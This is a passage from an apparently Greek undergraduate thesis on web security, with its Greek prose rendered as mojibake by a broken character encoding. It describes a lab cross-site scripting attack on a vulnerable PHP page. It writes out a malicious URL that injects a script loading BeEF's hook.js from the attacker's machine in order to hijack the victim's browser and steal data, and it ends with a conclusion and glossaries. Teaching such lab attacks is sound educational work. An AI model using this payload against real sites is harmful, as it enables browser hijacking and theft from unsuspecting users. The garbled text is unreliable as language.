έρνπκε έλα Windows κεράλεκα, ζην νπνίν ηξέρεη ε δηαδηθηπαθή εθαξκνγή, ε IP ηνπ 

νπνίνπ είλαη ε 192.168.1.79. Ο εμππεξεηεηήο πξνζθέξεη ζην directory 

«/kali_penetrations/xss/userInfo.php»,  κηα ηζηνζειίδα, ε νπνία αθνύ δηαβάζεη ην 

userName ηνπ ρξήζηε κέζσ ηνπ GetParameter ηνπ url ηνπ ρξήζηε, ζα εκθαλίζεη ην 

κήλπκα «Hellow $userName».  

Δπηπξόζζεηα, έρνπκε ην ζύκα, πνπ ρξεζηκνπνηεί ηελ επάισηε ζε XSS επηζέζεηο 

εθαξκνγή θαη ε IP ηνπ νπνίνπ είλαη 192.168.1.95. Παξάιιεια, ην κεράλεκα ηνπ 

ζύκαηνο ηξέρεη ινγηζκηθό Ubuntu. Τέινο έρνπκε ηνλ επηηηζέκελν, ν νπνίνο ρξεζηκνπνηεί 

ην ιεηηνπξγηθό ζύζηεκα KaliLinux θαη ε IP ηνπ κεραλήκαηνο ηνπ είλαη 192.168.1.80. 

Σηελ επόκελε θσηνγξαθία παξνπζηάδεηαη ην απνηέιεζκα πνπ ζα παξήγαγε ε 

εθαξκνγή, αλ ην url δελ είρε ηξνπνπνηεζεί θαη ην username ηνπ ρξήζηε ήηαλ γηα 

παξάδεηγκα «6». Σε απηή ηελ πεξίπησζε, ε εθαξκνγή ζα δηάβαδε κέζσ ηεο get 

παξακέηξνπ ηελ ηηκή «6» θαη ζα εκθάληδε ζηελ νζόλε ηνπ θπιινκεηξεηή ηνπ ρξήζηε ην 

κήλπκα «Hello 6». 
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Ο επηηηζέκελνο, ζα ρξεζηκνπνηήζεη ην εξγαιείν BeEF γηα λα εθκεηαιιεπηεί ηελ αδπλακία 

ηεο ηζηνζειίδαο λα πξνζηαηεύζεη ηνπο ρξήζηεο ηεο έλαληη ζε XSS επηζέζεηο. Γηα λα ην 

πεηύρεη απηό, ζε πξώηε θάζε ζα ελεξγνπνηήζεη ην εξγαιείν, ην νπνίν ζα αλνίμεη ην 

serviceηνπ BeEF ζηελ πόξηα 3000. Μέζσ ηεο γξαθηθήο επαθήο, ν ρξήζηεο κπνξεί λα 

δεη ηηο πιεξνθνξίεο πνπ έρεη θιέςεη ην BeEF. Σηελ αξρή, ην εξγαιείν δελ γλσξίδεη 

θάπνηα πιεξνθνξία, νπόηε ε εθαξκνγή δελ ζα παξνπζηάζεη θάπνηα πιεξνθνξία, όπσο 

θαίλεηαη ζηελ επόκελε θσηνγξαθία. 
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Σηόρνο ηνπ επηηηζέκελνπ είλαη λα νδεγήζεη ρξήζηεο-ζύκαηα λα ρξεζηκνπνηήζνπλ ηνλ 

αθόινπζν ζύλδεζκν, γηα παξαδεηγκα απνζηνιή κέζσ ηνπ ειεθηξνληθνύ ηαρπδξνκείνπ: 

http://192.168.1.79/kali_penetrations/xss/userInfo.php?id=<script type=text/javascript 

src=http://192.168.1.80:3000/hook.js></script> 

Ο παξαπάλσ ζύλδεζκν ζα ζηείιεη έλα request ζηελ επάισηε ηζηνζειίδα θαη ζα 

αλαγθάζεη λα ηνλ θπιινκεηξεηή ηνπ ρξήζηε λα εκθαλίζεη ην κήλπκα 

«Hellow&userName». Ψζηόζν, ζην παξαπάλσ url, ε ηηκή ηεο παξακέηξνπ ―id‖ είλαη 

έλαο javascript θώδηθαο, επνκέλσο ν browser ζα πξνζπαζήζεη λα εθηειέζεη ηνλ θώδηθα 

απηό. Ο παξαπάλσ javascript θώδηθα ζα ζηείιεη έλα request ζηνλ 192.168.1.80(δειαδή 

ζηελ IP ηνπ επηηηζέκελνπ), ζηελ πόξηα 3000(ηελ πόξηα όπνπ ηξέρεη ην BeEF) θαη ζα 

θαιέζεη ην αξρείν hook.js. To αξρείν hook.js ζα δεκηνπξγήζεη έλα δίαπιν επηθνηλσλίαο 

κεηαμύ ηνπ επηηηζέκελνπ θαη ηνπ ρξήζηε, κε ζθνπό ηελ θινπή ζηνηρείσλ.  

 

 

Σηελ παξαπάλσ εηθόλα παξνπζηάδεηαη ην απνηέιεζκα ηεο εθηέιεζεο ηνπ θαθόβνπινπ 

ζπλδέζκνπ. Παξαηεξείηαη, όηη κεηά ην ―Ηello‖ δελ αθνινπζεί ε ηηκή ηεο παξακέηξνπ ―id‖, 

γηαηί πξόθεηηαη γηα javascript θώδηθαο, ηνλ νπνίνλ ζα εθηειέζεη ην browser ηνπ ρξήζηε. 

Αθνύ γίλεη ε εθηέιεζε ηνπ javascript θώδηθα, ην BeEF είλαη ζε ζέζε λα ππνθιέςεη 

ζηνηρεία από ην ζύκα θαη λα ηηο παξνπζηάδεη ζηνλ επηηηζέκελν, κέζσ ηεο γξαθηθήο 
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δηεπαθήο. Σηελ ζπλέρεη αθνινπζνύλ δύν εηθόλεο πνπ παξνπζηάδνπλ έλα ππνζύλνιν 

ησλ ππνθιεκκέλσλ πιεξνθνξηώλ. 
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Έπεηηα, δεδνκέλνπ όηη ν επηηηζέκελνο έρεη θαηαθέξεη λα αλνίμεη θαθόβνπιε επηθνηλσλία 

κε ηνλ ππνινγηζηή ηνπ ζύκαηνο, κέζσ XSS επίζεζεο, είλαη ζε ζέζε λα εθηειέζεη 

δηάθνξεο ελέξγεηεο, κεξηθέο από ηηο νπνίεο παξνπζηάδνληαη ζηελ επόκελε εηθόλα. 
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6 ΔΠΙΛΟΓΟ΢ 

 

Με ηελ νινθιήξσζε ηεο παξνύζαο πηπρηαθήο εξγαζίαο θαηαιήγνπκε ζην ζπκπέξαζκα 
όηη ε αζθάιεηα ελόο ππνινγηζηηθνύ ζπζηήκαηνο είλαη κηα ηδηαίηεξα δύζθνιε δηαδηθαζία. 
Όζν θαη λα πξνζπαζήζνπκε λα πξνζηαηεύζνπκε ην ζύζηεκά καο, πάληα ζα εγθπκνλεί 
ν θίλδπλνο αδπλακίαο απέλαληη ζε θάπνηαο κνξθήο επίζεζεο. Ψο απόξξνηα απηνύ 
δεκηνπξγείηαη κηα δηαδηθαζίαο ζπλερήο κάρεο κεηαμύ ησλ θαθόβνπισλ ρξεζηώλ θαη ησλ 
κεζόδσλ άκπλαο πνπ παξέρνπλ αζθάιεηα ζηα ππνινγηζηηθά ζπζηήκαηα. Από ηε κηα νη 
θαθόβνπινη ρξήζηεο απνζθνπνύλ ζην λα εληνπίζνπλ ηπρώλ αδπλακίεο ελόο 
ζπζηήκαηνο θαη ελ ζπλερεία λα ηηο εθκεηαιιεπηνύλ,  ελώ από ηελ άιιε έρνπκε ηε 
δεκηνπξγία θαηάιιεινπ ηόζν ινγηζκηθνύ όζν θαη πιηθνύ πξνζηαζίαο ελάληηα ζηηο 
επηζέζεηο πνπ γίλνληαη θαηά ηνπ ζπζηήκαηνο, κε ζηόρν ηελ νκαιή ιεηηνπξγία απηνύ.  

Γηα αξθεηέο δεκνθηιείο δηαδηθηπαθέο επηζέζεηο, ππάξρνπλ αξθεηά έηνηκα εξγαιεία, όπσο 
πνιιά από ηα εξγαιεία πνπ πξνζθέξεη ην KaliLinux, ηα νπνία απνζθνπνύλ ζηελ 
εθκεηάιιεπζε ηεο αδπλακίαο ελόο ζπζηήκαηνο. Ψζηόζν, ηα ίδηα εξγαιεία κπνξνύλ λα 
ρξεζηκνπνηεζνύλ από ηνπο ίδηνπο ηνπο πξνγξακκαηηζηέο κηαο εθαξκνγήο, κε ζθνπό 
ηνλ εληνπηζκό ηπρώλ αδπλακηώλ ηνπ ζπζηήκαηνο πνπ πξνζθέξνπλ ζην επξύ θνηλό, θαη 
ελ ζπλερεία ζηε δεκηνπξγία επηπξόζζεησλ επηπέδσλ άκπλαο, γηα ηελ πξνζηαζία ηνπ 
ζπζηήκαηνο.  
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΢σληοκογραθίες 

XSS CrossSiteScripting 

CSS CascadingStyleSheets 

Email Electronicmail 

ASCII American Standard Code for Information Interchange 

HTML  Hypertext Markup Language 

TCP Transmission Control Protocol 

DOS Denial-of-service attack 

IP Internet Protocol 

CPU Central Processing Unit  

POD Ping Of Death 

Ping Packet Internet Groper 

ICMP Internet Control Message Protocνl 

DWVA Damn Vulnerable  Web Application 

ΒΓ Βάζε Γεδνκέλσλ 

OS Operating System 
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Μεηαθράζεης 

Non-persistent attacks Με κόληκεο επηζέζεηο 

Persistent attacks Μόληκεο επηζέζεηο 

Browser Φπιινκεηξεηήο 

Server Δμππεξεηεηήο 

Tag Δηηθέηα 

Link  Σύλδεζκν 

Hardware Υιηθό Υπνινγηζηή 

Admin Γηαρεηξηζηήο 

Quotes Δηζαγσγηθά/απηάθηα 

Networkvulnerabilityscanners Αληρλεπηήο αδπλακηώλ δηθηύσλ 

Buffer Overflow Υπεξρείιηζε Δληακηεπηή 

Datagram  Γεδνκελόγξακκα 

Βandwidth Δύξνο δώλεο 

Land Attacks Δπηζέζεηο Άξλεζεο Τνπηθνύ Γηθηύνπ 

Ping Of Death Παθέηα ηνπ Θαλάηνπ 

Ping Flood Πιεκύξα από Παθέηα 

Testers Γνθηκαζηέο 

Directory Καηάινγνο 

 


